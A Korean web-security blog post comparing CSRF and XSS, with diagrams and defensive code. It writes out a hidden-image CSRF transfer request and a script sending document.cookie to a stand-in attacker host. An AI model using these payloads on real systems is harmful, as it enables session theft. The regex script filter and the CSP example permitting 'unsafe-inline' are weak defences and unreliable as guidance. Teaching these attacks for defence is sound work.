CSRF์™€ XSS์˜ ํ•ต์‹ฌ ์ฐจ์ด์ ๊ณผ ๋ฐฉ์–ด ์ „๋žต

CSRF์™€ XSS์˜ ํ•ต์‹ฌ ์ฐจ์ด์ ๊ณผ ๋ฐฉ์–ด ์ „๋žต

D
dongAuthor
7 min read

์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋ณด์•ˆ์—์„œ ๊ฐ€์žฅ ์ž์ฃผ ์–ธ๊ธ‰๋˜๋Š” ๋‘ ๊ฐ€์ง€ ๊ณต๊ฒฉ ์œ ํ˜•์ธ CSRF์™€ XSS. ๋‘˜ ๋‹ค ์‹ฌ๊ฐํ•œ ๋ณด์•ˆ ์œ„ํ˜‘์ด์ง€๋งŒ, ๊ณต๊ฒฉ ๋ฐฉ์‹๊ณผ ๋ฐฉ์–ด ์ „๋žต์ด ์™„์ „ํžˆ ๋‹ค๋ฆ…๋‹ˆ๋‹ค. ์ด ๊ธ€์—์„œ๋Š” ๋‘ ๊ณต๊ฒฉ์˜ ํ•ต์‹ฌ ์ฐจ์ด์ ์„ ๋ช…ํ™•ํžˆ ์ดํ•ดํ•˜๊ณ , ์‹ค๋ฌด์—์„œ ๋ฐ”๋กœ ์ ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ๋ฐฉ์–ด ๊ธฐ๋ฒ•๋“ค์„ ์‚ดํŽด๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค.

๋งŽ์€ ๊ฐœ๋ฐœ์ž๋“ค์ด CSRF์™€ XSS๋ฅผ ํ˜ผ๋™ํ•˜๊ฑฐ๋‚˜ ๋น„์Šทํ•œ ๊ณต๊ฒฉ์œผ๋กœ ์—ฌ๊ธฐ๊ณค ํ•ฉ๋‹ˆ๋‹ค. ํ•˜์ง€๋งŒ ์ด ๋‘ ๊ณต๊ฒฉ์€ ๊ทผ๋ณธ์ ์œผ๋กœ ๋‹ค๋ฅธ ์ทจ์•ฝ์ ์„ ๋…ธ๋ฆฌ๋ฉฐ, ๊ฐ๊ฐ ๋‹ค๋ฅธ ๋ฐฉ์–ด์ฑ…์ด ํ•„์š”ํ•ด์š”. ์ด ์ฐจ์ด์ ์„ ์ •ํ™•ํžˆ ํŒŒ์•…ํ•˜๋Š” ๊ฒƒ์ด ํšจ๊ณผ์ ์ธ ๋ณด์•ˆ ์ „๋žต์˜ ์ฒซ ๊ฑธ์Œ์ž…๋‹ˆ๋‹ค.

CSRF(Cross-Site Request Forgery) ์ดํ•ดํ•˜๊ธฐ

  sequenceDiagram
    participant User as ๐Ÿง‘ ์‚ฌ์šฉ์ž (๋ธŒ๋ผ์šฐ์ €)
    participant AttackerSite as ๐Ÿ•ธ๏ธ ์•…์„ฑ ์‚ฌ์ดํŠธ
    participant Bank as ๐Ÿฆ ์€ํ–‰ ์„œ๋ฒ„

    Note over User,Bank: ์‚ฌ์šฉ์ž๋Š” ์€ํ–‰ ์‚ฌ์ดํŠธ์— ๋กœ๊ทธ์ธํ•˜์—ฌ ์„ธ์…˜(์ฟ ํ‚ค)์ด ์œ ํšจํ•œ ์ƒํƒœ
    User->>AttackerSite: (1) ์•…์„ฑ ์‚ฌ์ดํŠธ ๋ฐฉ๋ฌธ (์˜ˆ: ๋งํฌ ํด๋ฆญ)
    AttackerSite-->>User: (2) ์ˆจ๊ฒจ์ง„ ์š”์ฒญ ์ฝ”๋“œ ์ „์†ก
<img src="http://bank.com/transfer?to=attacker&amount=1000000"> Note over User: (3) ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ์ž๋™์œผ๋กœ bank.com์— ์š”์ฒญ ์ „์†ก (์ฟ ํ‚ค ํฌํ•จ) User->>Bank: (4) GET/POST /transfer?to=attacker&amount=1000000 (์ฟ ํ‚ค/์„ธ์…˜ ํฌํ•จ) alt ์„œ๋ฒ„๊ฐ€ ์š”์ฒญ ์ถœ์ฒ˜๋ฅผ ๊ฒ€์ฆํ•˜์ง€ ์•Š์Œ Bank-->>Bank: (5) ์„œ๋ฒ„๊ฐ€ ์š”์ฒญ์„ ์ •๋‹นํ•œ ์‚ฌ์šฉ์ž ์š”์ฒญ์œผ๋กœ ์ฒ˜๋ฆฌ Bank-->>User: (6) ์†ก๊ธˆ ์ฒ˜๋ฆฌ ์™„๋ฃŒ (์‚ฌ์šฉ์ž๋Š” ๋ชจ๋ฆ„) else ์„œ๋ฒ„๊ฐ€ CSRF ๋ฐฉ์–ด ์ ์šฉ(์˜ˆ: CSRF ํ† ํฐ ๊ฒ€์‚ฌ) Bank-->>User: (5) ์š”์ฒญ ๊ฑฐ๋ถ€ (CSRF ํ† ํฐ ๋ถˆ์ผ์น˜) end

CSRF๋Š” ์‚ฌ์šฉ์ž์˜ ๊ถŒํ•œ์„ ์•…์šฉํ•˜๋Š” ๊ณต๊ฒฉ์ž…๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๊ฐ€ ์‚ฌ์šฉ์ž ๋ชจ๋ฅด๊ฒŒ ํŠน์ • ์›น์‚ฌ์ดํŠธ์— ์š”์ฒญ์„ ๋ณด๋‚ด๋„๋ก ์œ ๋„ํ•˜๋Š” ๋ฐฉ์‹์ด์ฃ .

CSRF ๊ณต๊ฒฉ์˜ ์ž‘๋™ ์›๋ฆฌ

CSRF๋Š” ์„œ๋ฒ„๊ฐ€ ์‚ฌ์šฉ์ž๋ฅผ ์‹ ๋ขฐํ•œ๋‹ค๋Š” ์ ์„ ์•…์šฉํ•ฉ๋‹ˆ๋‹ค. ์‚ฌ์šฉ์ž๊ฐ€ ์€ํ–‰ ์›น์‚ฌ์ดํŠธ์— ๋กœ๊ทธ์ธํ•œ ์ƒํƒœ์—์„œ ์•…์„ฑ ์‚ฌ์ดํŠธ๋ฅผ ๋ฐฉ๋ฌธํ•˜๋ฉด, ์•…์„ฑ ์‚ฌ์ดํŠธ๊ฐ€ ์€ํ–‰ ์„œ๋ฒ„๋กœ ์†ก๊ธˆ ์š”์ฒญ์„ ๋ณด๋‚ผ ์ˆ˜ ์žˆ์–ด์š”. ์„œ๋ฒ„๋Š” ์ด ์š”์ฒญ์ด ์ •๋‹นํ•œ ์‚ฌ์šฉ์ž๋กœ๋ถ€ํ„ฐ ์˜จ ๊ฒƒ์œผ๋กœ ํŒ๋‹จํ•˜์—ฌ ์ฒ˜๋ฆฌํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

<!-- ์•…์„ฑ ์‚ฌ์ดํŠธ์˜ CSRF ๊ณต๊ฒฉ ์˜ˆ์‹œ -->
<img src="http://bank.com/transfer?to=attacker&amount=1000000" style="display:none">

์ด ๊ฐ„๋‹จํ•œ ์ด๋ฏธ์ง€ ํƒœ๊ทธ๋งŒ์œผ๋กœ๋„ ์‚ฌ์šฉ์ž ๋ชจ๋ฅด๊ฒŒ ์†ก๊ธˆ ์š”์ฒญ์ด ์‹คํ–‰๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์‚ฌ์šฉ์ž์˜ ์„ธ์…˜์ด ์œ ํšจํ•œ ์ƒํƒœ๋ผ๋ฉด ์„œ๋ฒ„๋Š” ์ด๋ฅผ ์ •์ƒ์ ์ธ ์š”์ฒญ์œผ๋กœ ์ฒ˜๋ฆฌํ•˜์ฃ .

CSRF์˜ ํŠน์ง•๊ณผ ์˜ํ–ฅ

  • ๊ณต๊ฒฉ ์œ„์น˜: ์„œ๋ฒ„์—์„œ ๋ฐœ์ƒ
  • ์‹ ๋ขฐ ๊ด€๊ณ„: ์„œ๋ฒ„๊ฐ€ ์‚ฌ์šฉ์ž๋ฅผ ์‹ ๋ขฐ
  • ์ฃผ์š” ๋ชฉ์ : ๊ถŒํ•œ ๋„์šฉ์„ ํ†ตํ•œ ์•…์˜์  ํ–‰์œ„ ์ˆ˜ํ–‰
  • ํ”ผํ•ด ๋ฒ”์œ„: ๊ณ„์ • ์ •๋ณด ๋ณ€๊ฒฝ, ๊ธˆ์œต ๊ฑฐ๋ž˜, ์ค‘์š” ์„ค์ • ์ˆ˜์ • ๋“ฑ

XSS(Cross-Site Scripting) ํŒŒํ—ค์น˜๊ธฐ

XSS๋Š” ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์›นํŽ˜์ด์ง€์— ์ฃผ์ž…ํ•˜๋Š” ๊ณต๊ฒฉ์ž…๋‹ˆ๋‹ค. ์‚ฌ์šฉ์ž์˜ ๋ธŒ๋ผ์šฐ์ €์—์„œ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‹คํ–‰๋˜์–ด ์ฟ ํ‚ค๋‚˜ ์„ธ์…˜ ์ •๋ณด๋ฅผ ํƒˆ์ทจํ•˜๊ฑฐ๋‚˜ ์•…์˜์ ์ธ ํ–‰๋™์„ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค.

XSS ๊ณต๊ฒฉ์˜ ์„ธ ๊ฐ€์ง€ ์œ ํ˜•

1. Stored XSS (์ €์žฅํ˜•)

์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ์˜๊ตฌ์ ์œผ๋กœ ์ €์žฅ๋˜์–ด, ํ•ด๋‹น ํŽ˜์ด์ง€๋ฅผ ๋ฐฉ๋ฌธํ•˜๋Š” ๋ชจ๋“  ์‚ฌ์šฉ์ž์—๊ฒŒ ์˜ํ–ฅ์„ ์ค๋‹ˆ๋‹ค.

2. Reflected XSS (๋ฐ˜์‚ฌํ˜•)

์ด๋ฉ”์ผ์ด๋‚˜ ๋งํฌ๋ฅผ ํ†ตํ•ด ์‚ฌ์šฉ์ž๊ฐ€ ํด๋ฆญํ•˜๋ฉด ์‹คํ–‰๋˜๋Š” ๋ฐฉ์‹์œผ๋กœ, ์ฃผ๋กœ ์ผํšŒ์„ฑ ๊ณต๊ฒฉ์— ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.

3. DOM-based XSS (DOM ๊ธฐ๋ฐ˜)

JavaScript๋ฅผ ์ด์šฉํ•ด DOM์„ ์กฐ์ž‘ํ•˜์—ฌ HTML์„ ๋ณ€๊ฒฝํ•˜์ง€ ์•Š๊ณ ๋„ ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค.

XSS ๊ณต๊ฒฉ ์˜ˆ์‹œ

  sequenceDiagram
    participant User as ๐Ÿง‘ ์‚ฌ์šฉ์ž (๋ธŒ๋ผ์šฐ์ €)
    participant VulnSite as ๐ŸŒ ์ทจ์•ฝํ•œ ์‚ฌ์ดํŠธ
    participant Attacker as ๐ŸŽฏ ๊ณต๊ฒฉ์ž ์„œ๋ฒ„
    participant VictimService as ๐Ÿท๏ธ ์„œ๋น„์Šค(์„ธ์…˜ ์‹๋ณ„์ž)

    Note over User,VulnSite: ์‚ฌ์šฉ์ž๊ฐ€ ์ทจ์•ฝํ•œ ํŽ˜์ด์ง€๋ฅผ ๋ฐฉ๋ฌธ (XSS ์ทจ์•ฝ์  ์กด์žฌ)
    User->>VulnSite: (1) ํŽ˜์ด์ง€ ์š”์ฒญ
    VulnSite-->>User: (2) ์‘๋‹ต (์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ ํฌํ•จ)
    Note over User: (3) ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ํŽ˜์ด์ง€ ๋‚ด ์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰
    User->>Attacker: (4) ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์ฟ ํ‚ค/์„ธ์…˜ ์ •๋ณด๋ฅผ ๊ณต๊ฒฉ์ž ์„œ๋ฒ„๋กœ ์ „์†ก
e.g. document.location='https://attacker.com/?cookie='+document.cookie Attacker-->>Attacker: (5) ๊ณต๊ฒฉ์ž ์„œ๋ฒ„๊ฐ€ ์„ธ์…˜ ์ฟ ํ‚ค ์ˆ˜์ง‘ Attacker->>VictimService: (6) ํƒˆ์ทจํ•œ ์„ธ์…˜์œผ๋กœ ์„œ๋น„์Šค์— ์ ‘๊ทผ ์‹œ๋„ alt ์„œ๋น„์Šค๊ฐ€ ์„ธ์…˜์„ ๊ทธ๋Œ€๋กœ ์‹ ๋ขฐํ•  ๊ฒฝ์šฐ VictimService-->>Attacker: (7) ์ธ์ฆ๋œ ์„ธ์…˜์œผ๋กœ ์•ก์„ธ์Šค ํ—ˆ์šฉ (๊ณ„์ • ํƒˆ์ทจ/์กฐ์ž‘ ๊ฐ€๋Šฅ) else ๋ฐฉ์–ด ๊ธฐ๋ฒ•์ด ์ ์šฉ๋œ ๊ฒฝ์šฐ (์˜ˆ: HttpOnly, SameSite, CSP ๋“ฑ) VictimService-->>User: (7) ์š”์ฒญ ์ฐจ๋‹จ ๋˜๋Š” ์„ธ์…˜ ๋ฌดํšจํ™” end
<script>
  document.location='https://attacker.com/?cookie='+document.cookie
</script>

์ด ์Šคํฌ๋ฆฝํŠธ๋Š” ์‚ฌ์šฉ์ž์˜ ์ฟ ํ‚ค๋ฅผ ๊ณต๊ฒฉ์ž์˜ ์„œ๋ฒ„๋กœ ์ „์†กํ•˜์—ฌ ์„ธ์…˜์„ ํƒˆ์ทจํ•  ์ˆ˜ ์žˆ์–ด์š”.

XSS์˜ ํŠน์ง•๊ณผ ์˜ํ–ฅ

  • ๊ณต๊ฒฉ ์œ„์น˜: ํด๋ผ์ด์–ธํŠธ(๋ธŒ๋ผ์šฐ์ €)์—์„œ ๋ฐœ์ƒ
  • ์‹ ๋ขฐ ๊ด€๊ณ„: ์‚ฌ์šฉ์ž๊ฐ€ ํŠน์ • ์‚ฌ์ดํŠธ๋ฅผ ์‹ ๋ขฐ
  • ์ฃผ์š” ๋ชฉ์ : ์ฟ ํ‚ค, ์„ธ์…˜ ๊ฐˆ์ทจ ๋ฐ ์›น์‚ฌ์ดํŠธ ๋ณ€์กฐ
  • ํ”ผํ•ด ๋ฒ”์œ„: ๊ฐœ์ธ์ •๋ณด ์œ ์ถœ, ๊ณ„์ • ํƒˆ์ทจ, ํ”ผ์‹ฑ ๊ณต๊ฒฉ ๋“ฑ

CSRF์™€ XSS์˜ ํ•ต์‹ฌ ์ฐจ์ด์ 

๊ตฌ๋ถ„ CSRF XSS
๊ณต๊ฒฉ ๋ฐฉ๋ฒ• ๊ถŒํ•œ์„ ๋„์šฉ๋‹นํ•œ ํด๋ผ์ด์–ธํŠธ๊ฐ€ ๊ฐ€์งœ ์š”์ฒญ์„ ์„œ๋ฒ„์— ์ „์†ก ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ํด๋ผ์ด์–ธํŠธ์—์„œ ์‹คํ–‰
์‹ ๋ขฐ ๊ด€๊ณ„ ํŠน์ • ์‚ฌ์ดํŠธ๊ฐ€ ์‚ฌ์šฉ์ž๋ฅผ ์‹ ๋ขฐ ์‚ฌ์šฉ์ž๊ฐ€ ํŠน์ • ์‚ฌ์ดํŠธ๋ฅผ ์‹ ๋ขฐ
๊ณต๊ฒฉ ๋Œ€์ƒ ์„œ๋ฒ„ ํด๋ผ์ด์–ธํŠธ
์ฃผ์š” ๋ชฉ์  ๊ถŒํ•œ ๋„์šฉ ์ฟ ํ‚ค, ์„ธ์…˜ ๊ฐˆ์ทจ, ์›น์‚ฌ์ดํŠธ ๋ณ€์กฐ

์ด ์ฐจ์ด์ ๋“ค์„ ์ดํ•ดํ•˜๋ฉด ๊ฐ ๊ณต๊ฒฉ์— ๋งž๋Š” ์ ์ ˆํ•œ ๋ฐฉ์–ด ์ „๋žต์„ ์„ธ์šธ ์ˆ˜ ์žˆ์–ด์š”.

CSRF ๋ฐฉ์–ด ์ „๋žต

1. CSRF ํ† ํฐ ์‚ฌ์šฉ

๊ฐ€์žฅ ํšจ๊ณผ์ ์ธ CSRF ๋ฐฉ์–ด ๋ฐฉ๋ฒ•์€ ํ† ํฐ์„ ํ™œ์šฉํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.

// ์„œ๋ฒ„์—์„œ CSRF ํ† ํฐ ์ƒ์„ฑ ๋ฐ ๊ฒ€์ฆ
const csrfToken = crypto.randomUUID();
// ์„ธ์…˜์— ํ† ํฐ ์ €์žฅ
req.session.csrfToken = csrfToken;

// ํด๋ผ์ด์–ธํŠธ์—์„œ ์š”์ฒญ ์‹œ ํ† ํฐ ํฌํ•จ
fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'CSRF-Token': csrfToken
  },
  body: JSON.stringify(transferData)
});

2. Referrer ๊ฒ€์ฆ

์š”์ฒญ ํ—ค๋”์˜ referrer ์†์„ฑ์„ ํ™•์ธํ•˜์—ฌ ๋„๋ฉ”์ธ์ด ์ผ์น˜ํ•˜๋Š”์ง€ ๊ฒ€์ฆํ•ฉ๋‹ˆ๋‹ค.

3. SameSite ์ฟ ํ‚ค ์†์„ฑ

// SameSite ์†์„ฑ์œผ๋กœ ํฌ๋กœ์Šค ์‚ฌ์ดํŠธ ์š”์ฒญ ์ฐจ๋‹จ
res.cookie('sessionId', sessionId, {
  sameSite: 'strict', // ๋˜๋Š” 'lax'
  httpOnly: true,
  secure: true
});

4. CAPTCHA ๋„์ž…

์ค‘์š”ํ•œ ์ž‘์—…์— ๋Œ€ํ•ด์„œ๋Š” CAPTCHA๋ฅผ ํ†ตํ•œ ์ถ”๊ฐ€ ์ธ์ฆ์„ ์š”๊ตฌํ•ฉ๋‹ˆ๋‹ค.

XSS ๋ฐฉ์–ด ์ „๋žต

1. ์ž…๋ ฅ ๋ฐ์ดํ„ฐ ๊ฒ€์ฆ ๋ฐ ํ•„ํ„ฐ๋ง

// ์œ„ํ—˜ํ•œ ๋ฌธ์ž์—ด ํ•„ํ„ฐ๋ง
function sanitizeInput(input) {
  return input.replace(/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi, '');
}

// ํ—ˆ์šฉ๋œ ํƒœ๊ทธ๋งŒ ์‚ฌ์šฉ
const allowedTags = ['p', 'br', 'strong', 'em'];

2. ์ถœ๋ ฅ ์ธ์ฝ”๋”ฉ

// HTML ์—”ํ‹ฐํ‹ฐ๋กœ ์ธ์ฝ”๋”ฉ
function escapeHtml(text) {
  const map = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#039;'
  };
  return text.replace(/[&<>"']/g, m => map[m]);
}

3. Content Security Policy (CSP) ๊ตฌํ˜„

<!-- CSP ํ—ค๋”๋กœ ์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰ ์ œํ•œ -->
<meta http-equiv="Content-Security-Policy" 
      content="default-src 'self'; script-src 'self' 'unsafe-inline';">

4. HttpOnly ์ฟ ํ‚ค ์„ค์ •

// document.cookie๋กœ ์ ‘๊ทผ ๋ถˆ๊ฐ€๋Šฅํ•œ ์ฟ ํ‚ค ์„ค์ •
res.cookie('sessionId', sessionId, {
  httpOnly: true,
  secure: true
});

์‹ค์ œ ๊ณต๊ฒฉ ์‚ฌ๋ก€์™€ ๊ตํ›ˆ

CSRF ๊ณต๊ฒฉ ์‚ฌ๋ก€

2008๋…„ ๋„ทํ”Œ๋ฆญ์Šค์—์„œ ๋ฐœ์ƒํ•œ CSRF ๊ณต๊ฒฉ์€ ์‚ฌ์šฉ์ž ๋ชจ๋ฅด๊ฒŒ ์˜ํ™” ํ‰์ ์„ ์กฐ์ž‘ํ•˜๊ณ  ๊ฐœ์ธ์ •๋ณด๋ฅผ ์ˆ˜์ •ํ•˜๋Š” ๋ฐ ์•…์šฉ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์ด ์‚ฌ๊ฑด์œผ๋กœ CSRF ํ† ํฐ์˜ ์ค‘์š”์„ฑ์ด ๋”์šฑ ๋ถ€๊ฐ๋˜์—ˆ์–ด์š”.

XSS ๊ณต๊ฒฉ ์‚ฌ๋ก€

2005๋…„ ๋งˆ์ด์ŠคํŽ˜์ด์Šค์˜ โ€˜Samy ์›œโ€™ ์‚ฌ๊ฑด์€ XSS ์ทจ์•ฝ์ ์„ ์ด์šฉํ•ด ๋‹จ ํ•˜๋ฃจ ๋งŒ์— 100๋งŒ ๋ช… ์ด์ƒ์˜ ์‚ฌ์šฉ์ž๋ฅผ ๊ฐ์—ผ์‹œ์ผฐ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ์ ์ ˆํ•œ ์ž…๋ ฅ ๊ฒ€์ฆ์˜ ์ค‘์š”์„ฑ์„ ๋ณด์—ฌ์ฃผ๋Š” ๋Œ€ํ‘œ์ ์ธ ์‚ฌ๋ก€์ž…๋‹ˆ๋‹ค.

๋‘ ๊ณต๊ฒฉ์ด ๋งŒ๋‚ฌ์„ ๋•Œ์˜ ์œ„ํ—˜์„ฑ

CSRF์™€ XSS๊ฐ€ ๊ฒฐํ•ฉ๋˜๋ฉด ๊ณต๊ฒฉ์˜ ํŒŒ๊ธ‰๋ ฅ์ด ๊ธ‰๊ฒฉํžˆ ์ฆ๊ฐ€ํ•ฉ๋‹ˆ๋‹ค. XSS๋ฅผ ํ†ตํ•ด CSRF ํ† ํฐ์„ ํƒˆ์ทจํ•˜๊ฑฐ๋‚˜ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ด์ฃ .

// XSS๋ฅผ ์ด์šฉํ•œ CSRF ํ† ํฐ ํƒˆ์ทจ ์˜ˆ์‹œ
const csrfToken = document.querySelector('meta[name="csrf-token"]').content;
// ํƒˆ์ทจํ•œ ํ† ํฐ์œผ๋กœ ์•…์˜์  ์š”์ฒญ ์ˆ˜ํ–‰

์ด๋Ÿฐ ๋ณตํ•ฉ ๊ณต๊ฒฉ์„ ๋ฐฉ์–ดํ•˜๋ ค๋ฉด ๋‘ ๊ณต๊ฒฉ ๋ชจ๋‘์— ๋Œ€ํ•œ ์ข…ํ•ฉ์ ์ธ ๋ณด์•ˆ ์ „๋žต์ด ํ•„์š”ํ•ด์š”.

๊ฐœ๋ฐœ์ž๊ฐ€ ์•Œ์•„์•ผ ํ•  ๋ณด์•ˆ ์›์น™

๋ณด์•ˆ์€ ๋‹จ์ˆœํžˆ ํŠน์ • ๊ธฐ๋ฒ•์„ ์ ์šฉํ•˜๋Š” ๊ฒƒ์ด ์•„๋‹ˆ๋ผ, ์ „์ฒด์ ์ธ ๊ด€์ ์—์„œ ์ ‘๊ทผํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. CSRF์™€ XSS๋Š” ์„œ๋กœ ๋‹ค๋ฅธ ์‹ ๋ขฐ ๊ด€๊ณ„๋ฅผ ์•…์šฉํ•˜๋Š” ๊ณต๊ฒฉ์ด๋ฏ€๋กœ, ๊ฐ๊ฐ์— ๋งž๋Š” ๋ฐฉ์–ด ์ „๋žต์„ ์ˆ˜๋ฆฝํ•ด์•ผ ํ•ด์š”.

์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ๊ฐœ๋ฐœํ•  ๋•Œ๋Š” "์‚ฌ์šฉ์ž ์ž…๋ ฅ์€ ๋ชจ๋‘ ์•…์˜์ ์ผ ์ˆ˜ ์žˆ๋‹ค"๋Š” ์›์น™๊ณผ "์„œ๋ฒ„๋Š” ๋ชจ๋“  ์š”์ฒญ์„ ์˜์‹ฌํ•ด์•ผ ํ•œ๋‹ค"๋Š” ์›์น™์„ ๋™์‹œ์— ์ ์šฉํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ด ๋‘ ์›์น™์ด CSRF์™€ XSS ๋ฐฉ์–ด์˜ ํ•ต์‹ฌ์ด๊ฑฐ๋“ ์š”.

๋ณด์•ˆ ์ฝ”๋“œ ๋ฆฌ๋ทฐ๋ฅผ ํ•  ๋•Œ๋„ ์ด ๋‘ ๊ณต๊ฒฉ ์œ ํ˜•์„ ์—ผ๋‘์— ๋‘๊ณ  ์ ๊ฒ€ํ•˜๋ฉด ๋”์šฑ ์•ˆ์ „ํ•œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ๊ตฌ์ถ•ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํŠนํžˆ ์‚ฌ์šฉ์ž ์ž…๋ ฅ์„ ์ฒ˜๋ฆฌํ•˜๋Š” ๋ถ€๋ถ„๊ณผ ์ธ์ฆ์ด ํ•„์š”ํ•œ ๊ธฐ๋Šฅ์—์„œ๋Š” ๋”์šฑ ์„ธ์‹ฌํ•œ ๊ฒ€ํ† ๊ฐ€ ํ•„์š”ํ•ด์š”.

CSRF์™€ XSS๋Š” ์›น ๋ณด์•ˆ์˜ ๊ธฐ๋ณธ์ด์ž ํ•ต์‹ฌ์ž…๋‹ˆ๋‹ค. ์ด ๋‘ ๊ณต๊ฒฉ์˜ ์ฐจ์ด์ ์„ ๋ช…ํ™•ํžˆ ์ดํ•ดํ•˜๊ณ  ์ ์ ˆํ•œ ๋ฐฉ์–ด ์ „๋žต์„ ๊ตฌํ˜„ํ•œ๋‹ค๋ฉด, ์‚ฌ์šฉ์ž์™€ ์„œ๋น„์Šค ๋ชจ๋‘๋ฅผ ๋ณดํ˜ธํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒฌ๊ณ ํ•œ ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ๋งŒ๋“ค ์ˆ˜ ์žˆ์„ ๊ฑฐ์˜ˆ์š”.

CSRF์™€ XSS์˜ ํ•ต์‹ฌ ์ฐจ์ด์ ๊ณผ ๋ฐฉ์–ด ์ „๋žต | devdong